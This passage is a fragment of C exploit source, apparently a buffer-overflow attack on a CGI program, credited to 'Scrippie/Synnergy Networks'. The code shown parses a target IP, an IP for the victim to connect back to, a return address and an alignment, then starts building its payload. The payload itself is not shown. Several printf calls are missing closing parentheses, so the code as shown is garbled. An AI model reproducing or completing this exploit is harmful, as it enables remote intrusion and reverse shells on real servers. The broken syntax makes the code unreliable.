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CGI漏洞(25) {
char *iploc, *evilcode;
int sd, align=0;
unsigned long sip; /* IP to connect back to */
unsigned long dip; /* Target IP */
unsigned long retaddy=RETADDY; /* Default return address */ /* Whee, print the banner */ if(argc < 3) {
printf("OnWais Klote - Scrippie/Synnergy Networks\n";
printf("Use as: %s [ret addy] [align]\n",
argv[0]);
exit(0);
} printf("******************************************************\n";
printf("+ OnWais Klote - Scrippie/Synnergy.net +\n";
printf("******************************************************\n"; /* I know inet_addr() is obsolete - too bad, you can‘t run this
program when you‘re on 255.255.255.255 - who is anyway? */ if((dip = inet_addr(argv[1])) == -1) {
printf("Error: Non valid IP address specified\n";
exit(-1);
} if((sip = inet_addr(argv[2])) == -1) {
printf("Error: Non valid IP address specified\n";
exit(-1);
} /* Use specified return address */
if(argc > 3) {
retaddy = strtoul(argv[3], NULL, 16);
}
printf("Return address : 0x%lx\n", retaddy); /* Use specified alignment */
if(argc > 4) {
align = atoi(argv[4]);
}
printf("Alignment : %d\n", align);
printf("Target : %s\n\n", argv[1]); /* We convert our IP to fit in the payload */
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